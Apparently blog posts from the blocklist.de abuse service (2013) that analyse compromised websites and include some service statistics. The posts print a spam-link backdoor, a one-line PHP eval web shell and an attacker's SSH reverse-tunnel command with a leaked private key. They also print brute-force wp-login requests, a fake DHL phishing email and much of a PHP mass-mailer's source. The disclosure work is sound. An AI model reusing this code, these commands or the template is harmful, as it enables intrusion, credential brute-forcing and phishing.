@file_put_contents($tmp . md5($u . 'c'), $d);
echo($d);
} else {
if ($debug) {
echo('DEBUG: (ERROR: link NOT download)<br>' . "
");
}
}
@curl_close($c);
}
}

function triksp($array){
foreach ($array as $path) {
if (is_writable($path)) {
return $path;
}
}
return false;
}

function getpasekaroot() {
$file = 'configuration.php';
$path = getcwd().DIRECTORY_SEPARATOR;
$c = 0;
while($c < 5) {
if (file_exists($path.$file)) {
return $path;
}
$path = dirname($path).DIRECTORY_SEPARATOR;
$c++;
}
return @$_SERVER['DOCUMENT_ROOT'];

 

The Site from http://mycompanyeye.com/bulbozavr/gog8/13.list gives a lot of urls back:

http://mar-jola.nazwa.pl/vat/components/com_gdui/ok/tent.php?id=13
http://www.eishockey-in-chemnitz.de/components/com_shhw/tent.php?id=13
http://www.hphorse.it/components/com_pdmu/local/tent.php?id=13

and on there site, there comes a lot of Viagra-Links and other Spam-Links back:

<a href="

Our Malware-Scanner find them all ūüôā

FUNDE: 7x
#######################################
/malware/files/directory/index.php
#######################################
Changed  ->   21.11.2013 16:52:35 +0100
Zeile    ->   SuchMuster                        ->       FUND (Max. 300 Zeichen, gekuerzt, escaped..., angezigt maximal: 10)
113      ->   gzinflate(base64_decode...        ->       \\<\\\?php eval\\\(@gzinflate\\\(base64_decode\\\(\\'TVXHCuxWFvyXt/YDVZoRWalnGMr82CQrnJopVbqr3d7nsGzKIpTVXdxoQ5nXsv6v2s5Dxko//UD/gOCyx///vHzIomfF0V\+Gf2C/3lh9Jepr8Z\+mflC/IL85f2VofBfb/6Xw/7WHr\+0xzf3\+PqE9J3/zpF/f83Y/RvV1jkAFIxSSHlmFSs0iqwgZiBNiOR1aIbMDRzI9iMFEnlE7eikbOvY0I2DRMNmEKVbUIttBGeTud\+ns/PTFo3RCGN8ln71sYvaY1yP
decoded  ->   echo('DEBUG: (bot by:['...        ->       echo\\\(\\&\\#39\\;DEBUG: \\\(bot by:\\\[\\&\\#39\\;\.\\\$ret\\\[1\\\]\.\\&\\#39\\;\\\]\\\)\\&\\#39\\;\.\\&\\#34\\;\\\\r\\\\n\\&\\#34\\;\\\)\\;
decoded  ->   echo('DEBUG: (INFO: DOW...        ->       echo\\\(\\&\\#39\\;DEBUG: \\\(INFO: DOWNLOAD NEW LINK FILE\\&\\#39\\; \. \\&\\#34\\;\\\\r\\\\n\\&\\#34\\;\\\)\\;
decoded  ->   function getpasekaroot(...        ->       function getpasekaroot\\\(\\\) \\{
decoded  ->   echo('DEBUG: (bot by:['...        ->       echo\\\(\\&\\#39\\;DEBUG: \\\(bot by:\\\[\\&\\#39\\;\.\\\$ret\\\[1\\\]\.\\&\\#39\\;\\\]\\\)\\&\\#39\\;\.\\&\\#34\\;\\\\r\\\\n\\&\\#34\\;\\\)\\;
decoded  ->   echo('DEBUG: (INFO: DOW...        ->       echo\\\(\\&\\#39\\;DEBUG: \\\(INFO: DOWNLOAD NEW LINK FILE\\&\\#39\\; \. \\&\\#34\\;\\\\r\\\\n\\&\\#34\\;\\\)\\;
decoded  ->   function getpasekaroot(...        ->       function getpasekaroot\\\(\\\) \\{

If you have Questions, please contact us.

-google-ads-
2013
11.22

 

Currently, blocklist.de has the following Stats/User:

User: 1,129

Server: 1,277

Attacks: 418,748,629

Reports: 6,947,859

Daily Mails: ~309497 (lower limit) ~420000 (high limit)

Web-Traffic: ~170 GB (some Peaks in 10/2013 and some low in 09/2013)

RBL-/API-Traffic: ~50 GB

Mail (In/Out)-Traffic: ~2760 GB (incoming and outgoing Mails, not internal)

Traffic over IPv6 (Mail, Web..): ~5GB

To this data, there comes 3,2TB Traffic between the Web-/Mail-Server and the MySQL-Server. The MySQL-Server sents over ~4,2 GB each Hour out.

The Mysql-Server use now 56% from 32GB Ram. And the System-Load is in average on 7.00 (we have changed to percona, the load is higher, but the results are faster done) .

The WebServer is using not full of 15GB Ram and the System-Load is under 1,4. The open Connections are ~11000

 

The complete Traffic from all Systems are round about 4,7TB (external Traffic) in September 2013.

 

-google-ads-
2013
11.06

On the Attacks from Service „RegBot“ and „BadBot“, thats comes only from Forum-Spam, we parsed the URLs from the Text/Data which sent the Spamer to the Honeypots/Forums/Wikis/Wordpress.

The Top 30 Provider where hosted the URLs (unique Urls, but when one Sign was different, this was counted as two URLs) which was in the Spamer-Text-Data was:

 

COUNTs

ASN

ASN-Name

Country

Registry

2.556.714

0

No IP/ASN

 

 

928.336

16276

OVH OVH Systems

FR

Ripecc

15.147

36351

SOFTLAYER – SoftLayer Technologies Inc.

US

Arin

13.182

24940

HETZNER-AS Hetzner Online AG RZ

DE

Ripecc

9.054

13768

PEER1 – Peer 1 Network Inc.

US

Arin

8.690

33387

DATASHACK – DataShack, LC

US

Arin

7.771

26496

AS-26496-GO-DADDY-COM-LLC – GoDaddy.com, LLC

US

Arin

7.477

46606

UNIFIEDLAYER-AS-1 – Unified Layer

US

Arin

7.194

13335

CLOUDFLARENET – CloudFlare, Inc.

US

Arin

5.411

21844

THEPLANET-AS – ThePlanet.com Internet Services, Inc.

US

Arin

3.165

32244

LIQUID-WEB-INC – Liquid Web, Inc.

US

Arin

3.132

4134

CHINANET-BACKBONE No.31,Jin-rong Street

CN

Apnic

2.899

8426

CLARANET-AS ClaraNET LTD

DE

Ripecc

2.745

26347

DREAMHOST-AS – New Dream Network, LLC

US

Arin

2.535

8560

ONEANDONE-AS 1&1 Internet AG

DE

Ripecc

2.223

32475

SINGLEHOP-INC ‚Äď SingleHop

US

Arin

2.132

16265

LEASEWEB LeaseWeb B.V.

NL

Ripecc

2.060

40156

THEOPT-HOU – The Optimal Link Corporation

US

Arin

1.963

56485

THEHOST-AS FOP Sedinkin Olexandr Valeriyovuch

UA

Ripecc

1.868

33070

RMH-14 – Rackspace Hosting

US

Arin

1.798

29182

ISPSYSTEM-AS ISPsystem Autonomous System

LU

Ripecc

1.797

13238

YANDEX Yandex LLC

RU

Ripecc

1.765

29873

BIZLAND-SD – The Endurance International Group, Inc.

US

Arin

1.738

8342

RTCOMM-AS OJSC RTComm.RU

RU

Ripecc

1.617

10297

ENET-2 – eNET Inc.

US

Arin

1.581

14618

AMAZON-AES – Amazon.com, Inc.

US

Arin

1.529

57858

AS57858 Fiber Grid OU

SE

Ripe

1.512

21788

NOC – Network Operations Center Inc.

US

Arin

1.482

27357

RACKSPACE – Rackspace Hosting

US

Arin

1.393

28753

LEASEWEB-DE Leaseweb Germany GmbH

DE

Ripe

¬†In the most case, the „Spamer“ or „SEO-Optimizer“ sent Links to other Forums to there Profiles/Accounts which has as Homepage also a Site to a other Forum-Profile or to a landing page.

In the Database, we have currently 3,794,939 URLs, we can share these urls with you, please ask us.

 

-google-ads-
2013
10.30

Blocklist.de hat heute zwei IP-Adressen/ManagedServer von meinem Arbeitgeber √ľber Angriffe des Typs „BruteForce-Login“ gemeldet.
Eine erste Analyse zeigte bereits, das ein Kunde, bzw. Quota gehackt wurde.
Es liefen drei Prozesse:

u123456 1637 0.2 0.4 11152 4964 ? Ssl 00:24 0:07 ./ssh
u123456 20984 0.0 0.1 4864 1016 ? Ss 00:59 0:00 ssh -F /dev/stdin -f -N 94.242.228.104
u123456 23310 0.0 0.5 8656 5460 ? S 01:16 0:00 kflushd

Ein strace-Aufruf auf das Programm mit dem ssh-Prozess, welches auf Daten von der IP 94.242.228.104 wartet, zeigte direkt das dort http-POST-Requests auf wp-login.php-Dateien ausgef√ľhrt werden:

Process 6502 attached - interrupt to quit
****write(36, "POST http://81.30.150.90/wp-login"..., 465) = 465****
****write(41, "POST http://192.254.187.122/wp-lo"..., 471) = 471****
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 38 39 40 41 42 43 52], [], NULL, NULL) = 1 (in [3])
read(3, "\357\16\324#3\33)P\212\274p\310\313\356r\203\0\266\\\334\331\354\27[\333m\203\315;\26\215\370\213"..., 8192) = 576
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 38 39 40 41 42 43 52], [35], NULL, NULL) = 1 (out [35])
****write(35, "POST http://184.168.191.1/wp-logi"..., 490) = 490****
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 38 39 40 41 42 43 52], [], NULL, NULL) = 1 (in [9])
read(9, "0\r\n\r\n"..., 16384) = 5
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 38 39 40 41 42 43 52], [3], NULL, NULL) = 1 (out [3])
write(3, "\37J\4R\272C\331\275Jy\314\332\1\271\351\341`\254f\303\264y:\363Y\370\200\36\315\311\243{\240"..., 48) = 48
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 38 39 40 41 42 43 52], [], NULL, NULL) = 1 (in [3])
read(3, "&\237XfF0\377\311{\263f\252k\33\220\310\224\"\202\21\\\3\346v:< \0<\"\311\266\331\272"..., 8192) = 64 shutdown(32, 1 /* send */) = 0 shutdown(32, 2 /* send and receive */) = -1 ENOTCONN (Transport endpoint is not connected) close(32) = 0 close(32) = -1 EBADF (Bad file descriptor) close(32) = -1 EBADF (Bad file descriptor) select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 38 39 40 41 42 43 52], [3], NULL, NULL) = 1 (out [3]) write(3, "\376\6\r%\t\njM\226[\213F\261A\177\243\331d\17\207\32\240\30`j\223\334\264C7\t\275"..., 32) = 32 select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 38 39 40 41 42 43 52], [], NULL, NULL) = 1 (in [43]) read(43, "HTTP/1.0 502 Bad Gateway\r\nProxy-C"..., 16384) = 237 select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 38 39 40 41 42 43 52], [3], NULL, NULL) = 2 (in [43], out [3]) read(43, ""..., 16384) = 0 shutdown(43, 0 /* receive */) = 0 write(3, "\346K^=\353\265\375$\347Oy\375\n\336t+\31c)\330\211\314\24\301\275\3612Rs\325\362\357\304"..., 272) = 272 select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 38 39 40 41 42 52], [3], NULL, NULL) = 1 (out [3]) write(3, "\225\36\303\3030<\307\35f\304zrZ\251\24\266g^\201\332\261h\v\203\371\230sG\235u\200X"..., 32) = 32 select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 38 39 40 41 42 52], [], NULL, NULL) = 1 (in [38]) read(38, ""..., 16384) = 0 shutdown(38, 0 /* receive */) = 0 select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 39 40 41 42 52], [3], NULL, NULL) = 1 (out [3]) write(3, "\277\0\245\0](g\276o\374g\323(\371\350\236\231\27\\\255\31xj(\325\236\311\331\310\326\373\310"..., 32) = 32 select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 39 40 41 42 52], [], NULL, NULL) = 1 (in [3]) read(3, "\230\31\25<\223\200\346\270\311*6\201,\232\264\251\253{\331T\276\356>.< `\n\315}\276\3\256\353"..., 8192) = 400 select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 39 40 41 42 52], [7], NULL, NULL) = 1 (out [7]) ****write(7, "POST http://184.168.189.1/wp-logi"..., 366) = 366**** select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 39 40 41 42 52], [], NULL, NULL) = 1 (in [3]) read(3, "\334\363}\22i|$\264\34\302\252Si\327\301\2Ac!\261\37\345I\204P1\304f\376Qa+\177"..., 8192) = 144 select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 39 40 41 42 52], [7], NULL, NULL) = 1 (out [7]) ****write(7, "log=admin&pwd=carson&wp-submit=Lo"..., 106) = 106**** select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 39 40 41 42 52], [], NULL, NULL) = 1 (in [3]) read(3, "\234\341\233\270\0\371\256\32\200v\v\4d\241\312\342\347~q_&\265\246\266\36\10\"\270q )A\221"..., 8192) = 96 socket(PF_NETLINK, SOCK_RAW, 0) = 32 bind(32, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 0 getsockname(32, {sa_family=AF_NETLINK, pid=6502, groups=00000000}, [12]) = 0 time(NULL) = 1383076654 sendto(32, "\24\0\0\0\26\0\1\3.\23pR\0\0\0\0\0\0\0\0"..., 20, 0, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 20 recvmsg(32, {msg_name(12)={sa_family=AF_NETLINK, pid=0, groups=00000000}, msg_iov(1)=[{"8\0\0\0\24\0\2\0.\23pRf\31\0\0\2\10\200\376\1\0\0\0\10\0\1\0\177\0\0\1\10"..., 4096}], msg_controllen=0, msg_flags=0}, 0) = 296 recvmsg(32, {msg_name(12)={sa_family=AF_NETLINK, pid=0, groups=00000000}, msg_iov(1)=[{"@\0\0\0\24\0\2\0.\23pRf\31\0\0\n\200\200\376\1\0\0\0\24\0\1\0\0\0\0\0\0"..., 4096}], msg_controllen=0, msg_flags=0}, 0) = 192 recvmsg(32, {msg_name(12)={sa_family=AF_NETLINK, pid=0, groups=00000000}, msg_iov(1)=[{"\24\0\0\0\3\0\2\0.\23pRf\31\0\0\0\0\0\0\1\0\0\0\24\0\1\0\0\0\0\0\0"..., 4096}], msg_controllen=0, msg_flags=0}, 0) = 20 close(32) = 0 socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 32 fcntl64(32, F_GETFL) = 0x2 (flags O_RDWR) fcntl64(32, F_SETFL, O_RDWR|O_NONBLOCK) = 0 connect(32, {sa_family=AF_INET, sin_port=htons(29814), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress) getsockopt(32, SOL_TCP, TCP_NODELAY, [0], [4]) = 0 setsockopt(32, SOL_TCP, TCP_NODELAY, [1], 4) = 0 fcntl64(32, F_SETFD, FD_CLOEXEC) = 0 ioctl(32, SNDCTL_TMR_TIMEBASE or TCGETS, 0xba4f2108) = -1 EINVAL (Invalid argument) fcntl64(32, F_GETFL) = 0x802 (flags O_RDWR|O_NONBLOCK) fcntl64(32, F_GETFL) = 0x802 (flags O_RDWR|O_NONBLOCK) select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 39 40 41 42 52], [32], NULL, NULL) = 1 (out [32]) getsockopt(32, SOL_SOCKET, SO_ERROR, [0], [4]) = 0 getsockopt(3, SOL_SOCKET, SO_RCVBUF, [87380], [4]) = 0 select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 32 33 34 35 36 37 39 40 41 42 52], [3], NULL, NULL) = 1 (out [3]) write(3, "Y\20#\212\20>\36\236\335,\240\10\214z\241\f_\234?\211*.\377\306\312\223\370\204q@\271\220\311"..., 48) = 48
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 32 33 34 35 36 37 39 40 41 42 52], [], NULL, NULL) = 1 (in [3])
read(3, "\240@< #%E\316O\340\354\2147 3\231\20\326\201\207\357?\275\201\303\2\200\305E\364\374>\220!"..., 8192) = 400
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 32 33 34 35 36 37 39 40 41 42 52], [37], NULL, NULL) = 1 (out [37])
****write(37, "POST http://50.63.48.1/wp-login.p"..., 365) = 365****
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 32 33 34 35 36 37 39 40 41 42 52], [], NULL, NULL) = 1 (in [3])
read(3, "\315\255d\225\377N\324$\335\346\224\203\240hN\220X\16\216\305\5\31Q\235\nXoH\325\367A~\35"..., 8192) = 1448
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 32 33 34 35 36 37 39 40 41 42 52], [30 33 37], NULL, NULL) = 3 (out [30 33 37])
****write(30, "POST http://74.50.25.215/travel-n"..., 544) = 544****
****write(33, "POST http://184.168.230.1/wp-logi"..., 477) = 477****
****write(37, "log=admin&pwd=airplane&wp-submit="..., 109) = 109****
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 32 33 34 35 36 37 39 40 41 42 52], [], NULL, NULL) = 1 (in [3])
read(3, "d4\273\355[\177\367\310e\376\226\263\361\273\237Q\v$\207\355\251\214\232&\310n\347\305\27\"\373}z"..., 8192) = 1448
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 32 33 34 35 36 37 39 40 41 42 52], [10 24 25], NULL, NULL) = 4 (in [12], out [10 24 25])
****write(10, "POST http://192.232.249.142/wp-lo"..., 370) = 370****
****read(12, "HTTP/1.1 200 OK\r\nDate: Tue, 29 Oc"..., 16384) = 3350****
write(24, "POST http://50.63.180.152/wp-logi"..., 489) = 489
write(25, "POST http://202.122.14.18/wp-logi"..., 486) = 486
....
usw.

Das beenden von nur einem Prozess bringt nat√ľrlich nichts ;-), aber da sich der Prozess „kflushd“ jede Minute neustartet, manchmal auch k√ľrzer und der Prozess „./ssh“ diesen √ľberwacht, hab ich einmal etwas rum getestet ūüėČ
Wenn man den SSH-Tunnel:


USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
u123456 20984 0.0 0.1 4864 1016 ? Ss 00:59 0:00 ssh -F /dev/stdin -f -N 94.242.228.104

killt, wird dieser vom „kflushd“ wieder ge√∂ffnet:


USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
u123456 31639 0.5 0.1 5152 1852 ? Ssl 21:49 0:06 ./ssh
u123456 13132 0.1 0.5 8656 5700 ? S 22:09 0:00 kflushd
u123456 13215 0.0 0.2 5324 2028 ? S 22:09 0:00 \_ sh -c perl -e 'print "RemoteForward 31614 127.0.0.1:29250?BatchMode yes?StrictHostKeyChecking no?UserKnownHostsFile /dev/null?ClearAllForwardings no?IdentityFile kk?User tmp"'|ssh -F /dev/stdin -f -N 94.242.228.104 >/dev/null 2>/dev/null; rm -f kk;
u123456 13217 0.0 0.2 4876 2312 ? S 22:09 0:00 \_ ssh -F /dev/stdin -f -N 94.242.228.104

Der Prozess √∂ffnet dabei einen SSH-Tunnel zu 94.242.228.104 und nimmt als „IdentityFile“ die Datei „kk“, welche danach direkt wieder gel√∂scht wird.
Das Verzeichnis, wo die Prozesse gestartet werden, kann man √ľber den „./ssh“-Prozess heraus finden. Dort ist das Home-Verzeichnis in /proc/$pid/environ hinterlegt.

Um den Inhalt der KeyFile „kk“ zu erhalten, kann man beim Strace sich mehr Zeichen ausgeben lassen:

strace -o ./strace.txt -e verbose=open,read,write,close -a5000 -s5000 -p $pid

dies sieht dann f√ľr den SSH-Input-Prozess z.B. so aus:


write(50, "POST http://208.109.181.131/wp-login.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1623.0 Safari/537.36\r\nConnection: close\r\nAccept-Encoding: gzip\r \nContent-Length: 121\r\nHost: lakewinnipesaukeewolfeboro.com\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nReferer: http://lakewinnipesaukeewolfeboro.com/wp-login.php\r\n\r\nlog=admin&pwd=anita&wp-submit=Log %20In&redirect_to=http%3A%2F%2Flakewinnipesaukeewolfeboro.com%2Fwp-admin%2F&testcookie=1"..., 521)

Bei dem „kflushd“-Prozess sieht man dann, wie dieser die Key-File „kk“ erstellt:

write(0, "-----BEGIN RSA PRIVATE KEY-----\nMIIByAIBAAJhAMqR3OTxJmBggeQNse6UhHtGeU301Pem5LRJBQ5pbsD9nykdAL+f\nrpuVhl0tbXw8xu14nx+f2bBjseLYm/Y+GifcZnLExwH0gYw1JbmUvK16m/29O441\n/oQFtlGOKMVRGwIBIwJgNBbhB6u5aT1jOqRvlR7gPPTdXTBUBSrqWj6ph1 zwmAaz\n5gAkw492CsAMm533lPmvCZ1I0KmjTBpfQoBgTlJJKhfKHRckE3ooxwKNb0MGFlzl\ntkmcKx0ms2Qc83/XSIWDAjEA8BMRR4kucTZmO9rnVRKov/iRYkxznJv77++ygHLW\nuKZGbc7EdTj0OClfvxaRl7m3AjEA2AHkc7va3lT1pF/MVCRU4KPDER5VUn11QQKi\niHKVZPlKA+yl/4usrqxXwxSnTHO 9AjA9u8KdXcodHJ3yIli+Gr2ttPIvODr8Yp/e\nnLjfM3kK6O2J81cW1CGKyM96R6HH7e0CMQDR1fPeJDOzaHmYXQ+iMewNa+IQoR+v\nOAuA+z7NsSNpZzH1LwenyYMtVvYrOKKEyDMCMHI51T8XR/NkbaAKEJF5Lh+kNt2E\nrKNN0TQbRTvYe1ORmtGG6uA8x5weVE69n2EylQ==\n-----END RSA PRIVATE KEY-----"..., 687)

und somit liegt uns der PrivateKey f√ľr den SSH-Login auf 94.242.228.104 vor:

-----BEGIN RSA PRIVATE KEY-----
MIIByAIBAAJhAMqR3OTxJmBggeQNse6UhHtGeU301Pem5LRJBQ5pbsD9nykdAL+f
rpuVhl0tbXw8xu14nx+f2bBjseLYm/Y+GifcZnLExwH0gYw1JbmUvK16m/29O441
/oQFtlGOKMVRGwIBIwJgNBbhB6u5aT1jOqRvlR7gPPTdXTBUBSrqWj6ph1zwmAaz
5gAkw492CsAMm533lPmvCZ1I0KmjTBpfQoBgTlJJKhfKHRckE3ooxwKNb0MGFlzl
tkmcKx0ms2Qc83/XSIWDAjEA8BMRR4kucTZmO9rnVRKov/iRYkxznJv77++ygHLW
uKZGbc7EdTj0OClfvxaRl7m3AjEA2AHkc7va3lT1pF/MVCRU4KPDER5VUn11QQKi
iHKVZPlKA+yl/4usrqxXwxSnTHO9AjA9u8KdXcodHJ3yIli+Gr2ttPIvODr8Yp/e
nLjfM3kK6O2J81cW1CGKyM96R6HH7e0CMQDR1fPeJDOzaHmYXQ+iMewNa+IQoR+v
OAuA+z7NsSNpZzH1LwenyYMtVvYrOKKEyDMCMHI51T8XR/NkbaAKEJF5Lh+kNt2E
rKNN0TQbRTvYe1ORmtGG6uA8x5weVE69n2EylQ==
-----END RSA PRIVATE KEY-----

Der komplette Befehl f√ľr den SSH-Tunnel ebenfalls:

perl -e 'print "RemoteForward 31614 127.0.0.1:29250?BatchMode yes?StrictHostKeyChecking no?UserKnownHostsFile /dev/null?ClearAllForwardings no?IdentityFile kk?User tmp"'|ssh -F /dev/stdin -f -N 94.242.228.104 >/dev/null 2>/dev/null; rm -f kk; | ssh -F /dev/stdin -f -N 94.242.228.104

Es wurde hierbei der Code zum starten der Prozesse √ľber ein veraltete WordPress mit JCE-Editor ausgef√ľhrt.
Dabei wurde in einer der PHP-Dateien tief im JCE-Verzeichnis der folgende Code eingef√ľgt:

< ?php if(isset($_POST["2e995f"])){eval(stripslashes($_POST["c"]));exit;}; ?>< ?php

Das eingesetzte WordPress hatte die Version 3.0.5.

Falls jemand die kompletten STRACE-Logs braucht, bitte melden ūüôā

Die meisten IP-Adressen der Angreifer, welche BruteForce-Logins auf /wp-login.php durchf√ľhren, sind bei blocklist.de bereits gelistet:
http://lists.blocklist.de/lists/bruteforcelogin.txt

-google-ads-
2013
07.30

On the 26.07.2013 we have seen over 200 hacked Joomla Sites with Joomla 1.6 and 1.7.

The Attacker hacked the sites two days earlier on 24.07.2013 between 22:11 and 22:56 +0200 o’clock.

[UPDATE 31.07.2013 23:46 +0200]
Some Researchers contact us, that the Scripts/Attacks comes from the Asprox Botnet.

Now, we seen some times Warnings again for Mailsystem or our Monitoring find called Malware-Scripts like this:

http://domain.tld/components/com_[random]/[random][example: f18n6e].php

The script gets the following Data over POST:

  • emails
  • themes
  • messages
  • froms
  • mailers
  • aliases
  • passes
  • code

The Post-Variables in Details:

emails

this has the Recipient-Address in Format [name base64] => emailaddress its look so:

[36xxxxxj2+9D1rA+vDETNQ==] => xxxxx6@aol.com

In the Variable, there was 30 Addresses.

 

themes

There has the Subjects/Themes like this: Tracking Information, ¬†Shipping Info, Tracking Detail, Order Tracking, Shipping Information, Order Shipped, Tracking Info…..

 

messages

This has the body of Mail with the Phishing-Mail and Links like this:

<html>
<body>
<font style="margin-left: 7px;">
If the links are not working, please move message to  "Inbox" folder.
</font>
<br>
<div style="background-color:#FFCC00;width:410px;height:50px;">
<font style="background-color:#FFCC00;font-family: Arial Black, Gadget, sans-serif; font-weight:bold;">
<font style="color:#D60915; font-size: 37px; margin-left: 270px; font-style:italic">
DHL
</font>
</font>
</div>
<div style="position:relative;background-color:#D60915;width:410px;height:25px;"></div>
<div style="position:absolute;width:100px;margin-top:-51px;margin-left:287px;">
<hr size="2" color="#FFCC00" />
</div>
<div style="position:absolute;width:22px;margin-top:-50px;margin-left:359px;">
<hr size="2" color="#D60915" />
</div>
<div style="position:absolute;width:23px;margin-top:-47px;margin-left:358px;">
<hr size="2" color="#D60915" />
</div>
<div style="position:absolute;width:24px;margin-top:-44px;margin-left:357px;">
<hr size="2" color="#D60915" />
</div>
<div style="position:absolute;width:25px;margin-top:-51px;margin-left:247px;">
<hr size="2" color="#D60915" />
</div>
<div style="position:absolute;width:24px;margin-top:-48px;margin-left:247px;">
<hr size="2" color="#D60915" />
</div>
<div style="position:absolute;width:23px;margin-top:-45px;margin-left:247px;">
<hr size="2" color="#D60915" />
</div>
<div style="position:relative;margin-top:-5px; left: 20px; font-family:Arial,serif;font-size:13">
<br>
<b>
DHL Notification<br><br>
Tracking ID: 00[NUM-8]<br>
Status: Shipment not delivered
</b><br>
<br>
Your parcel has arrived at July 24th. Courier was unable to deliver<br>
the parcel to you.<br>
<br>
To get additional information use any of these options:<br>
<br>
<div style="position: relative;left: 20px;">
1) Go to the following URL in your browser:<br><br>
<font style="margin-left:90px;font-weight:bold;">
<a href="http://domain.tld.ba/main.php?info=[FTEIL]">Get Shipment Info</a><br>
</font>
<br>
2) Enter the <b>Tracking ID</b> on tracking page:<br><br>
<font style="margin-left:90px;font-weight:bold;">
<a href="http://domain.tld.ba/main.php?info=[FTEIL]">Tracking Page</a><br>
</font>
</div>
<br>
<br>
<b>Disclaimer:</b><br>
This message was created by DHL System.<br>
No authentication of email address has been performed.<br>
<br>
</div>
<div style="background-color:#FFCC00;width:410px;height:26px;">
<font face="Arial" style="font-weight:bold; margin-left: 5px;font-size: 15px;">
Deutsche Post DHL</font>
<font face="Arial" style="font-weight:bold; margin-left:10px; font-size: 10px;">
2013 DHL International GmbH. All rights reserved.
</font>
</div>
</body>
</html>

 

froms

The „froms“ has the „envelope senders“ like this:

„Economy Shipping“ <no_reply@posttherapy.com>“

„Mail International“ <support@segnaposto.com>

„Postal Service“ <NoReply@grposters.com>“

….. and more …..

 

mailers

the mailers has the „Mail-Sender-Scripts/Servers“ like this:

AOL9.0forWindowsUSsub541

Achi-KochiMailLitever1.00

MyPHPMailer

… and more ….

 

aliases and passes

there have only „YTowOnt9“ as value

 

code

if(!isset($_POST["emails"])
OR !isset($_POST["themes"])
OR !isset($_POST["messages"])
OR !isset($_POST["froms"])
)
{
exit();
}

if(isset($_SERVER))
{
$_SERVER['PHP_SELF'] = "/";
$_SERVER['REMOTE_ADDR'] = $_SERVER['SERVER_ADDR'];
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
}

}

if(get_magic_quotes_gpc())
{
foreach($_POST as $key => $post)
{
$_POST[$key] = stripcslashes($post);
}
}

$emails = @unserialize(base64_decode($_POST["emails"]));
$themes = @unserialize(base64_decode($_POST["themes"]));
$messages = @unserialize(base64_decode($_POST["messages"]));
$froms = @unserialize(base64_decode($_POST["froms"]));
$mailers = @unserialize(base64_decode($_POST["mailers"]));
$aliases = @unserialize(base64_decode($_POST["aliases"]));
$passes = @unserialize(base64_decode($_POST["passes"]));

if(isset($_SERVER))
{
$_SERVER['REMOTE_ADDR'] = "127.0.0.1";
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
}
}

if(isset($_FILES))
{
foreach($_FILES as $key => $file)
{
$filename = alter_macros($aliases[$key]);
$filename = num_macros($filename);
$filename = text_macros($filename);
$filename = xnum_macros($filename);
$_FILES[$key]["name"] = $filename;
}
}

if(empty($emails))
{
exit();
}

foreach ($emails as $fteil => $email)
{
$theme = $themes[array_rand($themes)];
$theme = alter_macros($theme["theme"]);
$theme = num_macros($theme);
$theme = text_macros($theme);
$theme = xnum_macros($theme);

$message = $messages[array_rand($messages)];
$message = alter_macros($message["message"]);
$message = num_macros($message);
$message = text_macros($message);
$message = xnum_macros($message);
$message = pass_macros($message, $passes);
$message = fteil_macros($message, $fteil);

$from = $froms[array_rand($froms)];
$from = alter_macros($from["from"]);
$from = num_macros($from);
$from = text_macros($from);
$from = xnum_macros($from);

$mailer = $mailers[array_rand($mailers)];

send_mail($from, $email, $theme, $message, $mailer);
}

function send_mail($from, $to, $subj, $text, $mailer)
{
$un = strtoupper(uniqid(time()));

$head = "From: $from\n";
$head .= "X-Mailer: $mailer\n";
$head .= "Reply-To: $from\n";

$head .= "Mime-Version: 1.0\n";
